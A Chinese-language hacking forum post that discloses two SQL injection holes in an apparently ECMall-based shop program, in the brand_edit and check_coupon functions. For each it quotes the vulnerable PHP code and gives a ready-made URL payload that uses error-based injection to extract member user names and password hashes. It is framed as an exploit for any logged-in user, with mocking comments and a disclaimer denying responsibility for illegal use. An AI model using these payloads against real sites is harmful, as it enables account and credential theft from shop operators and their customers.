这程序放眼望去 各种白痴注入.... 这里随便发两个吧 顺便骂下电信 害的我现在下载速度只有几k 啥都干不了了 加载土司发帖页面都困难 我容易么我
Fuck one : \app\my_goods.app.php (2290行)Fuck one EXP 注册个会员-登录-提交以下即可
Fuck two : \app\order.app.php (374行)Fuck two EXP 注册个会员-登录-提交以下即可
测试:
免跨省声明: 以上所有言语非本人所写 更非本人所想 如果用于非法更与本人无关!
Fuck one : \app\my_goods.app.php (2290行)
function brand_edit()
{
$id = $_GET['id']; //程序员是2逼呢
$brand = $this->_brand_mod->find('store_id = ' . $this->_store_id . ' AND if_show = ' . BRAND_REFUSE . ' AND brand_id = ' . $id); //是2逼呢 还是2逼呢? By.Rices
$brand = current($brand);
if (empty($brand))
{
$this->show_warning("not_rights");
exit;
}
if (!IS_POST)
{ // 省略 .......http://site/index.php?app=my_goods&act=brand_edit&id=1%20and(select%201%20from(select%20count(*),concat((select%20(select%20(select%20concat(0x7e27,%20ecm_member.user_name,0x27,0x7e,%20ecm_member.password,0x7e,0x27)%20from%20ecm_member%20limit%200,1))%20from%20information_schema.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)
Fuck two : \app\order.app.php (374行)
function check_coupon()
{
$coupon_sn = $_GET['coupon_sn'];
$store_id = $_GET['store_id']; //笑嘻嘻
if (empty($coupon_sn))
{
$this->js_result(false);
}
$coupon_mod =& m('couponsn');
$coupon = $coupon_mod->get(array(
'fields' => 'coupon.*,couponsn.remain_times',
'conditions' => "coupon_sn.coupon_sn = '{$coupon_sn}' AND coupon.store_id = " . $store_id, //射射射射射了 By.Rices
'join' => 'belongs_to_coupon'));
//省略........http://site/index.php?app=order&act=check_coupon&coupon_sn=1&store_id=1%20and(select%201%20from(select%20count(*),concat((select%20(select%20(select%20concat(0x7e,0x27,%20ecm_member.user_name,0x27,0x7e,%20ecm_member.password,0x7e,0x27)%20from%20ecm_member%20limit%200,1))%20from%20information_schema.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)
测试:
免跨省声明: 以上所有言语非本人所写 更非本人所想 如果用于非法更与本人无关!
